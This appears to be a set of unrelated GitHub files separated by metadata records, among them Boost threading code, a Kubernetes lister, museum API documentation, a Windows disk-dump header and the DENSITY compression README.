bool timed_wait(lock_type& m,duration_type const& wait_duration)
{
return do_wait(m,wait_duration.total_milliseconds());
}
template<typename lock_type,typename predicate_type>
bool timed_wait(lock_type& m,boost::system_time const& abs_time,predicate_type pred)
{
return do_wait(m,abs_time,pred);
}
template<typename lock_type,typename predicate_type>
bool timed_wait(lock_type& m,boost::xtime const& abs_time,predicate_type pred)
{
return do_wait(m,system_time(abs_time),pred);
}
template<typename lock_type,typename duration_type,typename predicate_type>
bool timed_wait(lock_type& m,duration_type const& wait_duration,predicate_type pred)
{
return do_wait(m,wait_duration.total_milliseconds(),pred);
}
#endif
#ifdef BOOST_THREAD_USES_CHRONO
template <class lock_type, class Clock, class Duration>
cv_status
wait_until(
lock_type& lock,
const chrono::time_point<Clock, Duration>& t)
{
using namespace chrono;
chrono::time_point<Clock, Duration> now = Clock::now();
if (t<=now) {
return cv_status::timeout;
}
do_wait(lock, ceil<milliseconds>(t-now).count());
return Clock::now() < t ? cv_status::no_timeout :
cv_status::timeout;
}
template <class lock_type, class Rep, class Period>
cv_status
wait_for(
lock_type& lock,
const chrono::duration<Rep, Period>& d)
{
using namespace chrono;
if (d<=chrono::duration<Rep, Period>::zero()) {
return cv_status::timeout;
}
steady_clock::time_point c_now = steady_clock::now();
do_wait(lock, ceil<milliseconds>(d).count());
return steady_clock::now() - c_now < d ? cv_status::no_timeout :
cv_status::timeout;
}
template <class lock_type, class Clock, class Duration, class Predicate>
bool
wait_until(
lock_type& lock,
const chrono::time_point<Clock, Duration>& t,
Predicate pred)
{
while (!pred())
{
if (wait_until(lock, t) == cv_status::timeout)
return pred();
}
return true;
}
template <class lock_type, class Rep, class Period, class Predicate>
bool
wait_for(
lock_type& lock,
const chrono::duration<Rep, Period>& d,
Predicate pred)
{
return wait_until(lock, chrono::steady_clock::now() + d, boost::move(pred));
}
#endif
};
BOOST_THREAD_DECL void notify_all_at_thread_exit(condition_variable& cond, unique_lock<mutex> lk);
}
#include <boost/config/abi_suffix.hpp>
#endif
| {
"pile_set_name": "Github"
} |
//
// AxcPlayerBottomMask.h
// AxcUIKit
//
// Created by Axc_5324 on 17/7/19.
// Copyright © 2017年 Axc_5324. All rights reserved.
//
#import <UIKit/UIKit.h>
#import "AxcPlayerViewMask.h"
#import "AxcPlayerSlider.h"
#import "AxcPlayerControlButton.h"
@interface AxcPlayerBottomMask : AxcPlayerViewMask
@property (nonatomic, strong, readonly) AxcPlayerSlider *timeSlider;
@property (nonatomic, strong) NSArray<AxcPlayerControlButton *> *leftButtons;
@property (nonatomic, strong) NSArray<AxcPlayerControlButton *> *rightButtons;
@end
| {
"pile_set_name": "Github"
} |
-r requirements-test.txt
sphinx~=3.1.1
sphinx-rtd-theme
sphinx-autodoc-typehints~=1.11.0
ply
| {
"pile_set_name": "Github"
} |
; RUN: opt < %s -indvars -S | FileCheck %s
; PR10946: Vector IVs are not SCEVable.
; CHECK-NOT: phi
define void @test() nounwind {
allocas:
br i1 undef, label %cif_done, label %for_loop398
cif_done: ; preds = %allocas
ret void
for_loop398: ; preds = %for_loop398, %allocas
%storemerge35 = phi <4 x i32> [ %storemerge, %for_loop398 ], [ undef, %allocas ]
%bincmp431 = icmp sge <4 x i32> %storemerge35, <i32 5, i32 5, i32 5, i32 5>
%storemerge = bitcast <4 x float> undef to <4 x i32>
br label %for_loop398
}
| {
"pile_set_name": "Github"
} |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package nl.systemsgenetics.depict2.development;
import cern.colt.matrix.tdouble.DoubleMatrix1D;
import ch.unil.genescore.vegas.Davies;
import ch.unil.genescore.vegas.DaviesBigDecimal;
import java.util.Arrays;
import umcg.genetica.math.matrix2.DoubleMatrixDataset;
/**
*
* @author patri
*/
public class TestBigDecimal {
/**
* @param args the command line arguments
*/
public static void main(String[] args) throws Exception {
DoubleMatrixDataset<String, String> eigenMatrix = DoubleMatrixDataset.loadDoubleTextData("C:\\UMCG\\Genetica\\Projects\\Depict2Pgs\\Height_v24_special\\Height_ENSG00000197959_eigenValues.txt", '\t');
DoubleMatrix1D eigenValues = eigenMatrix.viewCol(0).viewFlip();
final long eigenValuesLenght = eigenValues.size();
//Method below if from PASCAL to select relevant eigen values
double sumPosEigen = 0;
for (int i = 0; i < eigenValuesLenght; i++) {
double e = eigenValues.getQuick(i);
if (e > 0) {
sumPosEigen += e;
}
}
final double cutoff = sumPosEigen / 10000;//Only use components that explain significant part of variantion
int eigenValuesToUse = 0;
for (int i = 0; i < eigenValuesLenght; i++) {
sumPosEigen -= eigenValues.getQuick(i);
eigenValuesToUse++;
if (sumPosEigen < cutoff) {
break;
}
}
double[] lambdas = eigenValues.viewPart(0, eigenValuesToUse).toArray();
System.out.println(Arrays.toString(lambdas));
DaviesBigDecimal f2 = new DaviesBigDecimal(lambdas);
System.out.println(f2.probQsupx(1400));
System.out.println("Error: " + f2.getIfault());
System.out.println("-----------");
Davies d1 = new Davies(lambdas);
System.out.println(d1.probQsupx(1400));
System.out.println("Error: " + d1.getIfault());
}
}
| {
"pile_set_name": "Github"
} |
# Place
Contains information on the places (states, countries, continents, or historical regions) used to describe items in the Harvard Art Museums collections.
## Get Places
`GET /place` will get all places.
Include one or more of the following parameters to filter the items.
| Parameter | Value |
| :--------- | :----- |
| apikey | YOUR API KEY required |
| q | FIELD:VALUE |
| size | 0-9+ |
| page | 0-9+ |
| sort | FIELD NAME or "random" or "random:[SEED NUMBER]" |
| sortorder | asc or desc |
| usedby | FIELD NAME:ID |
| level | [0-9+] |
| parent | [0-9+] |
#### Examples
> https://api.harvardartmuseums.org/place?parent=2028439
> Returns all records for places that are in New York state.
#### Response
```json
{
"info": {
"totalrecordsperquery": 10,
"totalrecords": 91,
"pages": 10,
"page": 1
},
"records": [
{
"objectcount": 3,
"id": 2036944,
"lastupdate": "2017-02-02T04:18:45-0500",
"tgn_id": 7013343,
"haschildren": 0,
"level": 4,
"geo": {
"lon": -76.55,
"lat": 42.916
},
"placeid": 2036944,
"pathforward": "North America\\United States\\New York\\",
"parentplaceid": 2028439,
"name": "Auburn"
},
{
"objectcount": 14,
"id": 2036956,
"lastupdate": "2017-02-02T04:18:45-0500",
"tgn_id": 7014317,
"haschildren": 0,
"level": 4,
"geo": {
"lon": -76.5,
"lat": 43.45
},
"placeid": 2036956,
"pathforward": "North America\\United States\\New York\\",
"parentplaceid": 2028439,
"name": "Oswego"
},
{
"objectcount": 78,
"id": 2036963,
"lastupdate": "2017-02-02T04:18:45-0500",
"tgn_id": 7015822,
"haschildren": 0,
"level": 4,
"geo": {
"lon": -73.966,
"lat": 40.683
},
"placeid": 2036963,
"pathforward": "North America\\United States\\New York\\",
"parentplaceid": 2028439,
"name": "Brooklyn"
}
]
}
```
## Get Place
`GET /place/PLACE_ID` will get the full record of the specified place.
**tgn_id** contains the ID of the equivalent record in the [Getty Thesaurus of Geographic Names](http://www.getty.edu/research/tools/vocabularies/tgn/)
#### Examples
> https://api.harvardartmuseums.org/place/2028422
> Returns the full record for the country Norway.
#### Response
```json
{
"placeid": 2028422,
"name": "Norway",
"pathforward": "Europe\\",
"parentplaceid": 2028188,
"haschildren": 1,
"level": 2,
"objectcount": 12,
"tgn_id": 1000088,
"id": 2028422,
"geo": {
"lat": 62,
"lon": 10
},
"lastupdate": "2017-02-02T04:18:42-0500"
}
```
| {
"pile_set_name": "Github"
} |
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build windows
// func servicemain(argc uint32, argv **uint16)
TEXT ·servicemain(SB),7,$0
MOVL CX, ·sArgc(SB)
MOVQ DX, ·sArgv(SB)
SUBQ $32, SP // stack for the first 4 syscall params
MOVQ ·sName(SB), CX
MOVQ $·servicectlhandler(SB), DX
// BUG(pastarmovj): Figure out a way to pass in context in R8.
MOVQ ·cRegisterServiceCtrlHandlerExW(SB), AX
CALL AX
CMPQ AX, $0
JE exit
MOVQ AX, ·ssHandle(SB)
MOVQ ·goWaitsH(SB), CX
MOVQ ·cSetEvent(SB), AX
CALL AX
MOVQ ·cWaitsH(SB), CX
MOVQ $4294967295, DX
MOVQ ·cWaitForSingleObject(SB), AX
CALL AX
exit:
ADDQ $32, SP
RET
// I do not know why, but this seems to be the only way to call
// ctlHandlerProc on Windows 7.
// func ·servicectlhandler(ctl uint32, evtype uint32, evdata uintptr, context uintptr) uintptr {
TEXT ·servicectlhandler(SB),7,$0
MOVQ ·ctlHandlerExProc(SB), AX
JMP AX
| {
"pile_set_name": "Github"
} |
/*
Copyright The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by lister-gen. DO NOT EDIT.
package v1alpha1
import (
v1alpha1 "k8s.io/api/rbac/v1alpha1"
"k8s.io/apimachinery/pkg/api/errors"
"k8s.io/apimachinery/pkg/labels"
"k8s.io/client-go/tools/cache"
)
// ClusterRoleBindingLister helps list ClusterRoleBindings.
type ClusterRoleBindingLister interface {
// List lists all ClusterRoleBindings in the indexer.
List(selector labels.Selector) (ret []*v1alpha1.ClusterRoleBinding, err error)
// Get retrieves the ClusterRoleBinding from the index for a given name.
Get(name string) (*v1alpha1.ClusterRoleBinding, error)
ClusterRoleBindingListerExpansion
}
// clusterRoleBindingLister implements the ClusterRoleBindingLister interface.
type clusterRoleBindingLister struct {
indexer cache.Indexer
}
// NewClusterRoleBindingLister returns a new ClusterRoleBindingLister.
func NewClusterRoleBindingLister(indexer cache.Indexer) ClusterRoleBindingLister {
return &clusterRoleBindingLister{indexer: indexer}
}
// List lists all ClusterRoleBindings in the indexer.
func (s *clusterRoleBindingLister) List(selector labels.Selector) (ret []*v1alpha1.ClusterRoleBinding, err error) {
err = cache.ListAll(s.indexer, selector, func(m interface{}) {
ret = append(ret, m.(*v1alpha1.ClusterRoleBinding))
})
return ret, err
}
// Get retrieves the ClusterRoleBinding from the index for a given name.
func (s *clusterRoleBindingLister) Get(name string) (*v1alpha1.ClusterRoleBinding, error) {
obj, exists, err := s.indexer.GetByKey(name)
if err != nil {
return nil, err
}
if !exists {
return nil, errors.NewNotFound(v1alpha1.Resource("clusterrolebinding"), name)
}
return obj.(*v1alpha1.ClusterRoleBinding), nil
}
| {
"pile_set_name": "Github"
} |
[
{"id": "org.sugarlabs.Tangram", "name": "Tangram", "version": 1, "directory": "activities/Tangram.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.Vote", "name": "Vote", "version": 1, "directory": "activities/Vote.activity", "icon": "activity/activity-icon.svg", "favorite": false, "activityId": null},
{"id": "org.sugarlabs.MindMath", "name": "MindMath", "version": 1, "directory": "activities/MindMath.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.Curriculum", "name": "Curriculum", "version": 1, "directory": "activities/Curriculum.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.ChessActivity", "name": "Chess", "version": 1, "directory": "activities/Chess.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.FractionBounce", "name": "Fraction", "version": 1, "directory": "activities/FractionBounce.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.Falabracman", "name": "Falabracman", "version": 1, "directory": "activities/Falabracman.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.Exerciser", "name": "Exerciser", "version": 1, "directory": "activities/Exerciser.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.GearsActivity", "name": "Gears", "version": 6, "directory": "activities/Gears.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.MazeWebActivity", "name": "Maze Web", "version": 2, "directory": "activities/MazeWeb.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpcfrance.PaintActivity", "name": "Paint", "version": 1, "directory": "activities/Paint.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpcfrance.TamTamMicro", "name": "TamTam Micro", "version": 1, "directory": "activities/TamTamMicro.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpcfrance.MemorizeActivity", "name": "Memorize", "version": 1, "directory": "activities/Memorize.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpg-france.physicsjs", "name": "Physics JS", "version": 1, "directory": "activities/PhysicsJS.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.CalculateActivity", "name": "Calculate", "version": 1, "directory": "activities/Calculate.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.TurtleBlocksJS", "name": "Turtle Blocks JS", "version": 1, "directory": "activities/TurtleBlocksJS.activity", "icon": "activity/activity-icon.svg", "favorite": false, "activityId": null},
{"id": "org.sugarlabs.Clock", "name": "Clock Web", "version": 1, "directory": "activities/Clock.activity", "icon": "activity/activity-clock.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.SpeakActivity", "name": "Speak", "favorite": true, "version": 1, "directory": "activities/Speak.activity", "icon": "activity/activity-icon.svg", "activityId": null},
{"id": "org.sugarlabs.moon", "name": "Moon", "version": 1, "directory": "activities/Moon.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpcfrance.RecordActivity", "name": "Record", "version": 1, "directory": "activities/Record.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpcfrance.Abecedarium", "name": "Abecedarium", "version": 5, "directory": "activities/Abecedarium.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpcfrance.videoviewer", "name": "Video Viewer", "version": 1, "directory": "activities/VideoViewer.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpcfrance.FoodChain", "name": "FoodChain", "version": 4, "directory": "activities/FoodChain.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpc-france.labyrinthjs", "name": "Labyrinth JS", "version": 1, "directory": "activities/LabyrinthJS.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpcfrance.TankOp", "name": "Tank Operation", "version": 1, "directory": "activities/TankOp.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.ChatPrototype", "name": "ChatPrototype", "version": 1, "directory": "activities/ChatPrototype.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpcfrance.Gridpaint", "name": "Grid Paint", "version": 2, "directory": "activities/Gridpaint.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpc-france.LOLActivity", "name": "Last One Loses", "version": 1, "directory": "activities/LastOneLoses.activity", "icon": "activity/activity-icon.svg", "favorite": false, "activityId": null},
{"id": "org.olpcfrance.sharednotes", "name": "Shared Notes", "version": 1, "directory": "activities/SharedNotes.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.ColorMyWorldActivity", "name": "Color My World", "version": 1, "directory": "activities/ColorMyWorld.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "com.homegrownapps.xoeditor", "name": "XO Editor", "version": 1, "directory": "activities/XOEditor.activity", "icon": "activity/activity-icon.svg", "favorite": false, "activityId": null},
{"id": "com.homegrownapps.reflection", "name": "Reflection", "version": 1, "directory": "activities/Reflection.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "com.homegrownapps.abacus", "name": "Abacus", "version": 1, "directory": "activities/Abacus.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.SprintMath", "name": "Sprint Math", "version": 1, "directory": "activities/SprintMath.activity", "icon": "activity/activity-icon.svg", "favorite": false, "activityId": null},
{"id": "org.sugarlabs.Blockrain", "name": "Blockrain", "version": 1, "directory": "activities/Blockrain.activity", "icon": "activity/activity-icon.svg", "favorite": false, "activityId": null},
{"id": "org.sugarlabs.StopwatchActivity", "name": "Stopwatch", "version": 1, "directory": "activities/Stopwatch.activity", "icon": "activity/activity-icon.svg", "favorite": false, "activityId": null},
{"id": "com.homegrownapps.flip", "name": "Flip", "version": 1, "directory": "activities/Flip.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.somosazucar.JappyActivity", "name": "Jappy", "favorite": false, "version": 1, "directory": "activities/Jappy.activity", "icon": "activity/activity-icon.svg", "activityId": null},
{"id": "org.olpcfrance.qrcode", "name": "QRCode", "version": 1, "directory": "activities/QRCode.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.Markdown", "name": "Markdown", "version": 3, "directory": "activities/Markdown.activity", "icon": "activity/activity-icon.svg", "favorite": false, "activityId": null},
{"id": "org.sugarlabs.Scratch", "name": "Scratch", "favorite": true, "version": 1, "directory": "activities/Scratch.activity", "icon": "activity/activity-icon.svg", "activityId": null},
{"id": "org.sugarlabs.gameOfLife", "name": "Game Of Life", "version": 1, "directory": "activities/GameOfLife.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.FotoToonJs", "name": "FotoToon", "version": 1, "directory": "activities/Fototoon.activity", "icon": "activity/fototoon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.GTDActivity", "name": "Get Things Done", "version": 1, "directory": "activities/GetThingsDone.activity", "icon": "activity/activity-icon.svg", "favorite": false, "activityId": null},
{"id": "org.squeak.EtoysActivity", "name": "Etoys", "version": 2, "directory": "activities/Etoys.activity", "icon": "activity/activity-etoys.svg", "favorite": false, "activityId": null},
{"id": "org.olpcfrance.EbookReader", "name": "Ebook Reader", "version": 1, "directory": "activities/EbookReader.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpcfrance.Calligra", "name": "Calligra", "version": 1, "directory": "activities/Calligra.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.olpcfrance.MediaViewerActivity", "name": "MediaViewer", "version": 1, "directory": "activities/MediaViewer.activity", "icon": "activity/activity-icon.svg", "favorite": false, "activityId": null},
{"id": "org.sugarlabs.PomodoroActivity", "name": "Pomodoro", "version": 1, "directory": "activities/Pomodoro.activity", "icon": "activity/activity-icon.svg", "favorite": false, "activityId": null},
{"id": "org.sugarlabs.Constellation", "name": "Constellation", "version": 1, "directory": "activities/Constellation.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.Write", "name": "Write", "version": 1, "directory": "activities/Write.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.Planets", "name": "Planets", "version": 1, "directory": "activities/Planets.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null},
{"id": "org.sugarlabs.Implode", "name": "Implode", "version": 1, "directory": "activities/Implode.activity", "icon": "activity/activity-icon.svg", "favorite": true, "activityId": null}
]
| {
"pile_set_name": "Github"
} |
/*++
Copyright (c) 1993 Microsoft Corporation
Module Name:
diskdump.h
Abstract:
This file defines the necessary structures, defines, and functions for
the common SCSI boot port driver.
Author:
Mike Glass (Ported from Jeff Havens and Mike Glass loader development.)
Revision History:
--*/
#include "ntddscsi.h"
#define INITIAL_MEMORY_BLOCK_SIZE 0x2000
#define MAXIMUM_TRANSFER_SIZE 0x8000
//
// SCSI Get Configuration Information
//
// LUN Information
//
typedef struct _LUNINFO {
UCHAR PathId;
UCHAR TargetId;
UCHAR Lun;
BOOLEAN DeviceClaimed;
PVOID DeviceObject;
struct _LUNINFO *NextLunInfo;
UCHAR InquiryData[INQUIRYDATABUFFERSIZE];
} LUNINFO, *PLUNINFO;
typedef struct _SCSI_BUS_SCAN_DATA {
USHORT Length;
UCHAR InitiatorBusId;
UCHAR NumberOfLogicalUnits;
PLUNINFO LunInfoList;
} SCSI_BUS_SCAN_DATA, *PSCSI_BUS_SCAN_DATA;
typedef struct _SCSI_CONFIGURATION_INFO {
UCHAR NumberOfBuses;
PSCSI_BUS_SCAN_DATA BusScanData[1];
} SCSI_CONFIGURATION_INFO, *PSCSI_CONFIGURATION_INFO;
#define MAXIMUM_RETRIES 4
//
// System provided stall routine.
//
typedef
VOID
(*PSTALL_ROUTINE) (
IN ULONG Delay
);
//
// Define memory block header -- ensure always quad-aligned (code assumes that
// it is always aligned)
//
typedef struct _MEMORY_HEADER {
struct _MEMORY_HEADER *Next;
PVOID Address;
ULONG Length;
ULONG Spare;
} MEMORY_HEADER, *PMEMORY_HEADER;
//
// SCSI device timeout values in seconds
//
#define SCSI_DISK_TIMEOUT 10
//
// Adapter object transfer information.
//
typedef struct _ADAPTER_TRANSFER {
PSCSI_REQUEST_BLOCK Srb;
PVOID LogicalAddress;
ULONG Length;
} ADAPTER_TRANSFER, *PADAPTER_TRANSFER;
typedef struct _SRB_SCATTER_GATHER {
ULONG PhysicalAddress;
ULONG Length;
} SRB_SCATTER_GATHER, *PSRB_SCATTER_GATHER;
//
// Device extension
//
typedef struct _DEVICE_EXTENSION {
PDEVICE_OBJECT DeviceObject;
ULONG DiskSignature;
PSTALL_ROUTINE StallRoutine;
PPORT_CONFIGURATION_INFORMATION ConfigurationInformation;
//
// Partition information
//
LARGE_INTEGER PartitionOffset;
//
// Memory management
//
//
PMEMORY_HEADER FreeMemory;
PVOID CommonBuffer[2];
PHYSICAL_ADDRESS PhysicalAddress[2];
PHYSICAL_ADDRESS LogicalAddress[2];
//
// SRBs
//
SCSI_REQUEST_BLOCK Srb;
SCSI_REQUEST_BLOCK RequestSenseSrb;
//
// Current request
//
UCHAR PathId;
UCHAR TargetId;
UCHAR Lun;
ULONG LuFlags;
PMDL Mdl;
PVOID SpecificLuExtension;
LONG RequestTimeoutCounter;
ULONG RetryCount;
ULONG ByteCount;
SRB_SCATTER_GATHER ScatterGather[17];
//
// Noncached breakout.
//
PVOID NonCachedExtension;
ULONG NonCachedExtensionSize;
PSENSE_DATA RequestSenseBuffer;
PVOID SrbExtension;
//
// Dma Adapter information.
//
PVOID MapRegisterBase[2];
PADAPTER_OBJECT DmaAdapterObject;
ADAPTER_TRANSFER FlushAdapterParameters;
ULONG NumberOfMapRegisters;
//
// Number of SCSI buses
//
UCHAR NumberOfBuses;
//
// Maximum targets per bus
//
UCHAR MaximumTargetIds;
//
// Disk block size
//
ULONG BytesPerSector;
//
// Sector shift count
//
ULONG SectorShift;
//
// SCSI Capabilities structure
//
IO_SCSI_CAPABILITIES Capabilities;
//
// SCSI configuration information from inquiries.
//
LUNINFO LunInfo;
//
// SCSI port driver flags
//
ULONG Flags;
//
// SCSI port interrupt flags
//
ULONG InterruptFlags;
//
// Adapter object transfer parameters.
//
ADAPTER_TRANSFER MapTransferParameters;
KSPIN_LOCK SpinLock;
//
// Mapped address list
//
PMAPPED_ADDRESS MappedAddressList;
//
// Miniport entry points
//
PHW_INITIALIZE HwInitialize;
PHW_STARTIO HwStartIo;
PHW_INTERRUPT HwInterrupt;
PHW_RESET_BUS HwReset;
PHW_DMA_STARTED HwDmaStarted;
//
// Buffers must be mapped into system space.
//
BOOLEAN MapBuffers;
//
// Is this device a bus master and does it require map registers.
//
BOOLEAN MasterWithAdapter;
//
// Indicates that adapter with boot device has been found.
//
BOOLEAN FoundBootDevice;
//
// Device extension for miniport routines.
//
PVOID HwDeviceExtension;
//
// Miniport request interrupt enabled/disable routine.
//
PHW_INTERRUPT HwRequestInterrupt;
//
// Miniport timer request routine.
//
PHW_INTERRUPT HwTimerRequest;
//
// Indicates request has been submitted to miniport and
// has not yet been completed.
//
BOOLEAN RequestPending;
//
// Indicates that request has been completed.
//
BOOLEAN RequestComplete;
//
// Physical address of zone pool
//
ULONG PhysicalZoneBase;
//
// Logical Unit Extension
//
ULONG HwLogicalUnitExtensionSize;
ULONG TimerValue;
//
// Value is set to true when the dump is done. We use this so that
// we don't do a request sense incase one of the shutdown operations
// fail.
//
BOOLEAN FinishingUp;
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;
#define DEVICE_EXTENSION_SIZE sizeof(DEVICE_EXTENSION)
//
// Port driver extension flags.
//
#define PD_CURRENT_IRP_VALID 0X0001
#define PD_RESET_DETECTED 0X0002
#define PD_NOTIFICATION_IN_PROGRESS 0X0004
#define PD_READY_FOR_NEXT_REQUEST 0X0008
#define PD_FLUSH_ADAPTER_BUFFERS 0X0010
#define PD_MAP_TRANSFER 0X0020
#define PD_CALL_DMA_STARTED 0X01000
#define PD_DISABLE_CALL_REQUEST 0X02000
#define PD_DISABLE_INTERRUPTS 0X04000
#define PD_ENABLE_CALL_REQUEST 0X08000
#define PD_TIMER_CALL_REQUEST 0X10000
//
// Logical unit extension flags.
//
#define PD_QUEUE_FROZEN 0X0001
#define PD_LOGICAL_UNIT_IS_ACTIVE 0X0002
#define PD_CURRENT_REQUEST_COMPLETE 0X0004
#define PD_LOGICAL_UNIT_IS_BUSY 0X0008
//
// The timer interval for the miniport timer routine specified in
// units of 100 nanoseconds.
//
#define PD_TIMER_INTERVAL (250 * 1000 * 10) // 250 ms
//
// The define the interloop stall.
//
#define PD_INTERLOOP_STALL 5
#define COMPLETION_DELAY 10
//
// Define global data structures
//
extern ULONG ScsiPortCount;
//
// Define HalFlushIoBuffers for i386.
//
#if defined(i386)
#define HalFlushIoBuffers
#endif
| {
"pile_set_name": "Github"
} |
{{< core_form/element-template }}
{{$element}}
{{^element.frozen}}
<input type="hidden" name="{{element.nameraw}}" value="_qf__force_multiselect_submission">
<select class="custom-select {{#error}}is-invalid{{/error}}" name="{{element.name}}"
id="{{element.id}}"
{{#element.multiple}}multiple{{/element.multiple}}
{{#error}}
autofocus aria-describedby="{{element.iderror}}"
{{/error}}
{{{element.attributes}}} >
{{#element.options}}
<option value="{{value}}" {{#selected}}selected{{/selected}}>{{{text}}}</option>
{{/element.options}}
</select>
{{/element.frozen}}
{{#element.frozen}}
{{#element.options}}
{{#selected}}{{{text}}}{{/selected}}
{{/element.options}}
{{/element.frozen}}
{{#element.managestandardtagsurl}}
<a href="{{element.managestandardtagsurl}}">{{#str}}managestandardtags, core_tag{{/str}}</a>
{{/element.managestandardtagsurl}}
{{/element}}
{{/ core_form/element-template }}
{{^element.frozen}}
{{#js}}
require(['core/form-autocomplete'], function(module) {
module.enhance({{#quote}}#{{element.id}}{{/quote}},
{{element.tags}},
{{#quote}}{{element.ajax}}{{/quote}},
{{#quote}}{{element.placeholder}}{{/quote}},
{{element.casesensitive}},
{{element.showsuggestions}},
{{#quote}}{{element.noselectionstring}}{{/quote}});
});
{{/js}}
{{/element.frozen}}
| {
"pile_set_name": "Github"
} |
# -*- coding: utf-8 -*-
"""
pygments.lexers.other
~~~~~~~~~~~~~~~~~~~~~
Just export lexer classes previously contained in this module.
:copyright: Copyright 2006-2014 by the Pygments team, see AUTHORS.
:license: BSD, see LICENSE for details.
"""
from pygments.lexers.sql import SqlLexer, MySqlLexer, SqliteConsoleLexer
from pygments.lexers.shell import BashLexer, BashSessionLexer, BatchLexer, \
TcshLexer
from pygments.lexers.robotframework import RobotFrameworkLexer
from pygments.lexers.testing import GherkinLexer
from pygments.lexers.esoteric import BrainfuckLexer, BefungeLexer, RedcodeLexer
from pygments.lexers.prolog import LogtalkLexer
from pygments.lexers.snobol import SnobolLexer
from pygments.lexers.rebol import RebolLexer
from pygments.lexers.configs import KconfigLexer, Cfengine3Lexer
from pygments.lexers.modeling import ModelicaLexer
from pygments.lexers.scripting import AppleScriptLexer, MOOCodeLexer, \
HybrisLexer
from pygments.lexers.graphics import PostScriptLexer, GnuplotLexer, \
AsymptoteLexer, PovrayLexer
from pygments.lexers.business import ABAPLexer, OpenEdgeLexer, \
GoodDataCLLexer, MaqlLexer
from pygments.lexers.automation import AutoItLexer, AutohotkeyLexer
from pygments.lexers.dsls import ProtoBufLexer, BroLexer, PuppetLexer, \
MscgenLexer, VGLLexer
from pygments.lexers.basic import CbmBasicV2Lexer
from pygments.lexers.pawn import SourcePawnLexer, PawnLexer
from pygments.lexers.ecl import ECLLexer
from pygments.lexers.urbi import UrbiscriptLexer
from pygments.lexers.smalltalk import SmalltalkLexer, NewspeakLexer
from pygments.lexers.installers import NSISLexer, RPMSpecLexer
from pygments.lexers.textedit import AwkLexer
__all__ = []
| {
"pile_set_name": "Github"
} |
DENSITY
========
Superfast compression library
DENSITY is a free C99, open-source, BSD licensed compression library.
It is focused on high-speed compression, at the best ratio possible. **All three** of DENSITY's algorithms are currently at the **pareto frontier** of compression speed vs ratio (cf. [here](https://github.com/inikep/lzbench/blob/master/lzbench18_sorted.md) for an independent benchmark).
DENSITY features a simple API to enable quick integration in any project.
Branch|Linux & MacOS|Windows
--- | --- | ---
master|[](https://travis-ci.org/centaurean/density)|[](https://ci.appveyor.com/project/gpnuma/density/branch/master)
dev|[](https://travis-ci.org/centaurean/density)|[](https://ci.appveyor.com/project/gpnuma/density/branch/dev)
Why is it so fast ?
-------------------
One of the biggest assets of DENSITY is that its work unit is **not a byte** like other libraries, but **a group of 4 bytes**.
When other libraries consume one byte of data and then apply an algorithmic processing to it, DENSITY consumes 4 bytes and then applies its algorithmic processing.
